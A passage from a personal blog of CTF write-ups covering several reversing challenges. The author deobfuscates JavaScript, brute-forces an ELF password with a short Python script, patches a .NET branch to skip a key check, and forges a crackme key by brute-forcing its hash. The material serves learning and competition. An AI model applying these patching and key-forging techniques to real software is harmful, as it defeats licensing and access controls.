<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Ru3LyJFY__fxeMDKgZOtwTsEfipH6aRk_6feUIQOzG1wmnD7rv840ZhmmG4-fHZ-sErP6Ictt0g5RgURibbICewxCJnXfmH8QJ6yVKwnPeb6l-veJw3PonzPlftDYvTdc5GYokedkNY/s1600/code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_Ru3LyJFY__fxeMDKgZOtwTsEfipH6aRk_6feUIQOzG1wmnD7rv840ZhmmG4-fHZ-sErP6Ictt0g5RgURibbICewxCJnXfmH8QJ6yVKwnPeb6l-veJw3PonzPlftDYvTdc5GYokedkNY/s320/code.png" width="277" /></a></div>
<br />
<br />
<br />
After <a href="http://jsbeautifier.org/">beautifying</a> the code, this is what we can see:<br />
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">var _0x52ae = [...];<br />eval(function (_0x7038x1, _0x7038x2, _0x7038x3, _0x7038x4, _0x7038x5, _0x7038x6) {<br /> ...<br />}(_0x52ae[0], 46, 46, _0x52ae[3][_0x52ae[2]](_0x52ae[1]), 0, {}));</span></blockquote>
The easiest way to deobfuscate this is to change "<span style="font-family: Courier New, Courier, monospace;">eval</span>" to "<span style="font-family: Courier New, Courier, monospace;">console.log</span>" (in chrome). This will print all of the unpacked JS source. Here is an interesting function:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">function encrypt(form) {<br /> var res;<br /> res = numerical_value(form.password.value);<br /> res = res * (3 + 1 + 3 + 3 + 7);<br /> res = res >>> 6;<br /> res = res / 4;<br /> res = res ^ 4153;<br /> if (res != 0) {<br /> alert('Invalid password!')<br /> } else {<br /> alert('Correct password :)')<br /> }<br />}</span></blockquote>
</div>
<div>
Any string that produces a numerical value between 62540 and 62544 will be accepted. Finally, this is how the numerical_value is computed:</div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">function numerical_value(str) {<br /> var i, a = 0,<br /> b;<br /> for (i = 0; i < str.length; ++i) {<br /> b = ascii_one(str.charAt(i));<br /> a += b * (i + 1)<br /> }<br /> return a<br />}</span></blockquote>
</div>
<div>
It is pretty straightforward to forge a key by hand now. This was one that worked for me: "}}zzzzzzzzzzzzzzzzzzzzzzzzzzzyyA". I started adding new letters until I was close to the target value. Then I changed the values that are close to the beginning to fine-tune it. It was a pretty bad idea to start with "z" characters, since there are very few characters with larger ASCII codes. Here is the flag as the result:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUver8lzQsJEZT4LYctrsYlaoKOg97IhpOeK6HS1vNUnxYHfr7PWou7TadJIUDuYXhLaVN6Qk5ibXoOWfkc6B740u07rlIjrcnFJ-x5hiFgE2MTlHym6f0J_YOJybCemNkaYydMJL0qM/s1600/key1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQUver8lzQsJEZT4LYctrsYlaoKOg97IhpOeK6HS1vNUnxYHfr7PWou7TadJIUDuYXhLaVN6Qk5ibXoOWfkc6B740u07rlIjrcnFJ-x5hiFgE2MTlHym6f0J_YOJybCemNkaYydMJL0qM/s320/key1.png" width="320" /></a></div>
<br />
<span style="font-size: large;">Level 2</span><br />
<div>
<br /></div>
<div>
The task here was to reverse-engineer an Android application package (apk) file. I cheated here and instead of looking at the source I looked at the resource files. There were 16 images that looked like parts of a QR code. It took me roughly 3 minutes to puzzle them together and after reading the QR code I got a flag:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTps0o7z3KH6H4A3dnj1SbqSi5xa93tHidqwuOLbK8ZgzioFIdW_T4LHpdNEMTzMbPDvK60QGw68puMC5Pcb1_wCOPwlRyOeIfr3anzyaZJxQ6-v4OIJ85yFqAY62kGofJ9f6Lf-dZbq8/s1600/qr.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTps0o7z3KH6H4A3dnj1SbqSi5xa93tHidqwuOLbK8ZgzioFIdW_T4LHpdNEMTzMbPDvK60QGw68puMC5Pcb1_wCOPwlRyOeIfr3anzyaZJxQ6-v4OIJ85yFqAY62kGofJ9f6Lf-dZbq8/s320/qr.png" width="319" /></a></div>
<div>
<br /></div>
<div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">788f5ff85d370646d4caa9af0a103b338dbe4c4bb9ccbd816b585c69de96d9da</span></blockquote>
<div>
<span style="font-size: large;">Level 3</span></div>
<div>
<br /></div>
<div>
Level 3 was a 64-bit ELF executable. This is what happens when we launch the application:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGPIutFxeRcdGwHh3WNG-a_a8xh3Gg13elPJcywtnokt7yVwBbMb_yf5r0VSunA_D-lDQ48oKeoPcqK84CLoq1Sd0tezJBc7yvZM8hz3BkGrNDFasXKsVvDFXj6rVeTZihOInPQovPuzE/s1600/level3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGPIutFxeRcdGwHh3WNG-a_a8xh3Gg13elPJcywtnokt7yVwBbMb_yf5r0VSunA_D-lDQ48oKeoPcqK84CLoq1Sd0tezJBc7yvZM8hz3BkGrNDFasXKsVvDFXj6rVeTZihOInPQovPuzE/s320/level3.png" width="320" /></a></div>
<br />
I started reversing the ELF binary, but I'm terribly lazy and I wanted to do this as fast as I can, because if I were trying to get into the final with a team time would have mattered. I decided to write a script that tries every character until it is accepted and then continue with the next one. I figured out the first character by hand (it was a space, for some reason this was my third try) and then I knew what to look for in the output. Here is the script, it's pretty short:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">from subprocess import Popen, PIPE, STDOUT<br />flag = ""<br />while True:<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>for x in range(32, 128):<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>p = Popen(['./level.elf'], stdout=PIPE, stdin=PIPE, stderr=PIPE)<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>stdout_data = p.communicate(input=(flag+chr(x)))[0]<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>if stdout_data.count("*") > len(flag):<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>flag += chr(x)<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>print flag<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>break</span></blockquote>
This is what we get when we run the script:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz3vVb7nfo72w7qLDrOa7-yridqYxfd8-5PZ4zsWlbVukAx8lgfOUM-1vM1vJNp7VxgAnkXoo5oS7z_hxdgwa6g8dcwJIxFu7QLWBw0hD0qoXLo2uujWUucY5fU4sEH8FLBKdaoe_b3V0/s1600/level3_pass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz3vVb7nfo72w7qLDrOa7-yridqYxfd8-5PZ4zsWlbVukAx8lgfOUM-1vM1vJNp7VxgAnkXoo5oS7z_hxdgwa6g8dcwJIxFu7QLWBw0hD0qoXLo2uujWUucY5fU4sEH8FLBKdaoe_b3V0/s320/level3_pass.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
And here is the flag after trying the password:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJyo39XZHka6RcK5rfIgc1h6D96pHjGr_WHZu6ubxGNLrMysPxD8Dy7L_r8cMxgwb8pufyqJIZleTxwafjRx-hfoNr3U21LfLG6aj7_yRt7iw2Wg6OuFCceq07wzvGiK2TmyOtveaQUeQ/s1600/level3_key.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJyo39XZHka6RcK5rfIgc1h6D96pHjGr_WHZu6ubxGNLrMysPxD8Dy7L_r8cMxgwb8pufyqJIZleTxwafjRx-hfoNr3U21LfLG6aj7_yRt7iw2Wg6OuFCceq07wzvGiK2TmyOtveaQUeQ/s320/level3_key.png" width="320" /></a></div>
<br />
Interesting challenge. I really should have reversed it instead. I will never be a better reverse engineer if I keep cheating. Next time!<br />
<br /></div>
</div>
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-16504829247607347682013-09-23T16:08:00.000-07:002013-09-23T16:26:42.175-07:00CSAW CTF Quals - Reversing (100, 150, 300) write-upsThe CSAW CTF qualifier was a really cool "entry-level" CTF with some nice challenges. We finished in the 12th place with !SpamAndHex. Great team! Here is a write-up for the reverse 100, 150 and 300 tasks.<br />
<br />
<h2>
<span style="font-size: large;">Reverse 100</span></h2>
<div>
This was the "CSAW Reversing 2013 1" challenge, and it was quite simple. When we start the application, this is what we see:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6LZOEc5d6BqDka3osMIfYoRIHwj3hswkXPUo7mVD_e8YKoVszMtPnLqGFmk3mKS0eackW7XtoPOQHCC32sN0Boc1CNtzwIoycteky2AG7w_Bz5ZIn52VyaxI-64MPBUtD14FpbBqGBaI/s1600/csaw_rev100_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6LZOEc5d6BqDka3osMIfYoRIHwj3hswkXPUo7mVD_e8YKoVszMtPnLqGFmk3mKS0eackW7XtoPOQHCC32sN0Boc1CNtzwIoycteky2AG7w_Bz5ZIn52VyaxI-64MPBUtD14FpbBqGBaI/s320/csaw_rev100_1.png" width="320" /></a></div>
<div>
<br /></div>
<div>
Once looking at the binary in IDA, we can clearly see that it calls "IsDebuggerPresent". </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLlH03ES82O584LnKn0GfEfvRupAWaaIn69hcFx3fCyk9YBxoIc8ZRghrZXrvNaZgQdZX_nNVFk0tg0tmDxHzTVXlyoV0jU45Y_BfNGGkG7VzEPFyAseTXBXX-T3YToBrnz4pxdx3gLxE/s1600/csaw_rev100_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="81" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLlH03ES82O584LnKn0GfEfvRupAWaaIn69hcFx3fCyk9YBxoIc8ZRghrZXrvNaZgQdZX_nNVFk0tg0tmDxHzTVXlyoV0jU45Y_BfNGGkG7VzEPFyAseTXBXX-T3YToBrnz4pxdx3gLxE/s320/csaw_rev100_3.png" width="320" /></a></div>
<div>
<br /></div>
<div>
This does quite the opposite of what we would expect, since usually we want to avoid the detection of the debugger. Here however, we will only see the correct flag if we launch the application in the debugger. Here is the flag:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOyJ1jHxUyhNW0i2OsHWkZpK73SLqhyphenhyphenJ8Gp0TwW2slERZQYoYlxREXlPRhwea3epGVEvjkUIvw9Pxr1Enl1kOl4lPL4MS6XGGPtvFXOSH1yNHEyfmhzPzBJUpzF2UiSJNW8cAg5v4Miq4/s1600/csaw_rev100_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOyJ1jHxUyhNW0i2OsHWkZpK73SLqhyphenhyphenJ8Gp0TwW2slERZQYoYlxREXlPRhwea3epGVEvjkUIvw9Pxr1Enl1kOl4lPL4MS6XGGPtvFXOSH1yNHEyfmhzPzBJUpzF2UiSJNW8cAg5v4Miq4/s320/csaw_rev100_2.png" width="320" /></a></div>
<div>
<br /></div>
<div>
I'm only doing a write-up for this task because there is no write-up on ctftime and I have a mild case of OCD.</div>
<div>
<br /></div>
<h2>
<span style="font-size: large;">Reverse 150 (bikinibonanza)</span></h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio9JhfVHqBZmtBp-A4Yk0STrm76vt00_LQxg4_MUh6WVQc_L5wLrK9sIIFE12-62MX_eHhqMQv3exwt6l1eOm4ECB9ExnHcj_ajsN2FLo4Fri22e_6xBKOqfcKLtOTwkB7keqYSouxYVI/s1600/bikini_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio9JhfVHqBZmtBp-A4Yk0STrm76vt00_LQxg4_MUh6WVQc_L5wLrK9sIIFE12-62MX_eHhqMQv3exwt6l1eOm4ECB9ExnHcj_ajsN2FLo4Fri22e_6xBKOqfcKLtOTwkB7keqYSouxYVI/s320/bikini_1.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
This was a much more interesting challenge, especially because I don't have much experience with reversing .NET binaries. I used <a href="http://www.jetbrains.com/decompiler/">JetBrains dotPeek</a> to look at the source, which was obfuscated. Here is the most important part of the source:<br /><blockquote class="tr_bq">
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: blue; font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">this</span><span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">.eval_ᜀ(<span style="color: #a31515;">"NeEd_MoRe_Bawlz"</span>, Convert.ToInt32(<span style="color: blue;">string</span>.Format(<span style="color: #a31515;">"{0}"</span>,
(<span style="color: blue;">object</span>) (now.Hour + 1))), <span style="color: blue;">ref</span> strB);<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: blue; font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">if</span><span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> (<span style="color: blue;">string</span>.Compare(text.ToUpper(), strB) == 0)<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">{<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">this</span>.eval_ᜂ.Text
= <span style="color: #a31515;">""</span>;<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> Form1 form1 = <span style="color: blue;">this</span>;<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">int</span>
num1 = 107;<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">int</span>
num2 = (<span style="color: blue;">int</span>) form1.eval_ᜀ(num1);<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> form1.eval_ᜀ((<span style="color: blue;">char</span>) num2);<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">this</span>.eval_ᜁ();<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">this</span>.eval_ᜂ.Text
= <span style="color: blue;">string</span>.Format(<span style="color: blue;">this</span>.eval_ᜂ.Text,
(<span style="color: blue;">object</span>) <span style="color: blue;">this</span>.eval_ᜀ(resourceManager));<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">this</span>.eval_ᜃ.Image
= (Image) resourceManager.GetObject(<span style="color: #a31515;">"Sorry You
Suck"</span>);<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">}<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: blue; font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">else</span><span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"><o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">{<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">this</span>.eval_ᜃ.Image
= (Image) resourceManager.GetObject(<span style="color: #a31515;">"Almost
There"</span>);<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;"> <span style="color: blue;">this</span>.eval_ᜀ();<o:p></o:p></span></div>
<div align="left" class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="font-family: Consolas; font-size: 9.5pt; mso-ansi-language: HU; mso-fareast-language: HU;">}</span></div>
</blockquote>
</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
</div>
</blockquote>
The strings are a bit misleading here. The "Sorry You Suck" message actually refers to the image that says "YOU DID IT". This image was retrieved from the binary, but it can also be found using dotPeek:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4biobU_Uf1YFEdRHPUf-j6U00VLe1ZwMO5A_HGb3PXEyjYh99t2WOsgWFCe1fuO_WdmBbJrhBGtiUxWhX-3oc4-vr3dDK_6IDspTmd-c_mejp9pNipJeGnPhsp82lCy87-JAOUxNDVvQ/s1600/bikinibonanza.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="130" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4biobU_Uf1YFEdRHPUf-j6U00VLe1ZwMO5A_HGb3PXEyjYh99t2WOsgWFCe1fuO_WdmBbJrhBGtiUxWhX-3oc4-vr3dDK_6IDspTmd-c_mejp9pNipJeGnPhsp82lCy87-JAOUxNDVvQ/s320/bikinibonanza.png" width="320" /></a></div>
<br />
So we need to get the execution to the first part of the if branch. I know, we should patch the binary! I never patched a .NET binary before though. Here is what I did.<br />
<br />
I looked at the binary in IDA and searched for the branch that needs changing. I also made sure to change the settings so that the byte code is visible. This is how I will later find the correct sequence of bytes in the binary.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg48U4It2cWWFSDz8nvrGKysVW6RyAlQag6MdXe6wCSad4z-Esx3JfgzeHNH_ZDU64xfOZfJE96-clkMhOgTdzErFliDMRavqaHx505r7L2UC0cK6g23-13hOBXo2P8yVzFhrNpapbea8c/s1600/bikini_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="82" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg48U4It2cWWFSDz8nvrGKysVW6RyAlQag6MdXe6wCSad4z-Esx3JfgzeHNH_ZDU64xfOZfJE96-clkMhOgTdzErFliDMRavqaHx505r7L2UC0cK6g23-13hOBXo2P8yVzFhrNpapbea8c/s320/bikini_2.png" width="320" /></a></div>
<br />The branch is done by the <span style="font-family: Courier New, Courier, monospace;">brtrue.s</span> instruction, so we should change that to <span style="font-family: Courier New, Courier, monospace;">brfalse.s</span>. A quick google query shows us the correct byte code to use (2C instead of 2D). Then I patched the binary with my favorite hex editor. Here I made sure that there is only one occurence of the byte sequence that I am changing. After running the patched application, I got a key right away!<div>
<br /><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3zcsdGGkA58iyL-2bTcs7DO5yuQmYcnph0oDyxNfVhK6_n-oVHzn94iDGzqhb6dwQ4JtJsiv1mlWIKw2g3zXQYl3yT6K6Qx2Ummbm1cekSMuCzlNue5yjLCzQM7lXxgRGyWft0bguA78/s1600/bikini_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3zcsdGGkA58iyL-2bTcs7DO5yuQmYcnph0oDyxNfVhK6_n-oVHzn94iDGzqhb6dwQ4JtJsiv1mlWIKw2g3zXQYl3yT6K6Qx2Ummbm1cekSMuCzlNue5yjLCzQM7lXxgRGyWft0bguA78/s320/bikini_3.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br /><h2>
<span style="font-size: large;">Reverse 300 (crackme)</span></h2>
For this challenge we received both a binary and an IP/port pair where the service runs, which means we couldn't cheat with patching any more. The service asked for a key and checked it. The task here was to write a simple keygen. Fortunately the algorithm that checks the key wasn't very complicated and it was prone to a very simple attack.</div>
<div>
<br /></div>
<div>
Here is the decompiled C code that asks for the key:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfTl_8YD9fEFVuO9_yB6P3Bry0kw0NMBJVquC1GyTYnFwx3TaPbjLTWTQKA0W95VFnnFVI2C69oSzjajmeARk6-jGzxNM7ff__sYcw8KrZmyLfh-606DcAqTNrpXue4wVU2vk5ygs4ZTI/s1600/crackme_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfTl_8YD9fEFVuO9_yB6P3Bry0kw0NMBJVquC1GyTYnFwx3TaPbjLTWTQKA0W95VFnnFVI2C69oSzjajmeARk6-jGzxNM7ff__sYcw8KrZmyLfh-606DcAqTNrpXue4wVU2vk5ygs4ZTI/s320/crackme_1.png" width="289" /></a></div>
<br />sub_8048EA0 could be renamed to "check_key". Here is the decompiled code that was inside:<blockquote class="tr_bq">
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">signed int __cdecl sub_8048EA0(unsigned __int8
*a1)</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">{</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> int
v1; // ST0C_4@3</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">
unsigned __int8 v3; // [sp+3h] [bp-Dh]@1</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> signed
int v4; // [sp+4h] [bp-Ch]@1</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">
unsigned __int8 *v5; // [sp+8h] [bp-8h]@2</span></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> v3 =
*a1;</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> v4 =
1337;</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> if (
*a1 )</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> {</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> v5 =
a1;</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> do</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> {</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> v1
= 32 * v4 + v3;</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> v3
= (v5++)[1];</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> v4
+= v1;</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> }</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">
while ( v3 );</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> }</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;"> return
v4;</span></span></div>
<div class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">}</span></span></div>
</blockquote>
Partly because I was lazy and partly because I wanted to finish the task as quick as possible, I decided to brute-force the key. We can see that the algorithm computes a <span style="font-family: Courier New, Courier, monospace;">DWORD</span> value starting at 1337. Later it will be compared with a pre-defined value, which is <span style="font-family: Courier New, Courier, monospace;">0xEF2E3558</span>. We can also see that each new byte in the key is added to the current "hash" after it was multiplied by 32.<br /><br />This is how we can re-write the function in python:<br /><blockquote class="tr_bq">
<div align="left" class="MsoNormal">
<span lang="CS"><span style="font-family: Courier New, Courier, monospace;">hash = 1337<br />
for d in data:<br />
v1 = 32 * hash + ord(d)<br />
hash += v1<br />
<br />
# to emulate 32-bit integers<br />
if hash > 0xffffffff:<br />
hash &= 0xffffffff</span></span></div>
</blockquote>
We can write a script that starts creating random keys of any length and see how close the hash is to the desired result. I worked with 84 character long hashes for some weird reason that I can't remember. To avoid problems I only generated ASCII keys.<br />
<br />
Then I found a key that was really close to the hash we needed, so from there I started modifying the last few bytes by hand so that the results match exactly. After a few tries, this is the key I found:<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">]#&uN|Jl4@BHBZx%U*5 s$19):>\p9A2K%nwB)3N8/xKF?+8Ygah,cedFRw_$tAUm/2\y(:;P\^=3v_qxqo7</span></blockquote>
Ugly or not, this key earned us 300 more points :)<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">Thank you, valued customer!</span><br />
<span style="font-family: Courier New, Courier, monospace;">Your key is: day 145: they still do not realize this software sucks</span></blockquote>
Thanks for the CSAW organizers for a really neat CTF! We had tons of fun with all the challenges.<br />
balidanihttp://www.blogger.com/profile/05810943104283312084noreply@blogger.com0tag:blogger.com,1999:blog-7011836621605765499.post-54962900665185746912013-08-03T15:00:00.000-07:002013-08-03T15:00:16.318-07:00ebCTF bin100-300 write-upAfter the ebCTF teaser there were a few CTFs that I couldn't seriously attend due to a lack of time. The challenges I solved weren't that hard and I decided not to write a post about them. Last night I spent 2 hours on the ebCTF binary tasks and decided to write about them.<br />
<br />
<h2>
<span style="font-size: large;">bin100</span></h2>
This task was an upgraded version of the dice game from the teaser. Interestingly, the pageview count on the <a href="http://balidani.blogspot.hu/2013/06/ebctf-binary-and-web-write-up.html">write-up</a> I made about the task from the teaser increased tenfold since yesterday. The solution is basically the same, so I won't go into much detail here.<br />
<br />
This time the executable is an ELF, and the structure is a bit different, but we can just as easily find the critical compare instructions. Here is one of them:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQJ4Ghfamnn-rvXU-dKjQzW_qWds6kkqDiMmj-eAwTl7bbjiEpNsEHxG07m0oFkqhLLF8qXUJOcTC-NHJi9rOZYJnxeLbykBwarL0r1OZPZl3w6Gh_i6Wnngsx-w_GJNF90co0se-BuwU/s1600/dice1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQJ4Ghfamnn-rvXU-dKjQzW_qWds6kkqDiMmj-eAwTl7bbjiEpNsEHxG07m0oFkqhLLF8qXUJOcTC-NHJi9rOZYJnxeLbykBwarL0r1OZPZl3w6Gh_i6Wnngsx-w_GJNF90co0se-BuwU/s320/dice1.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
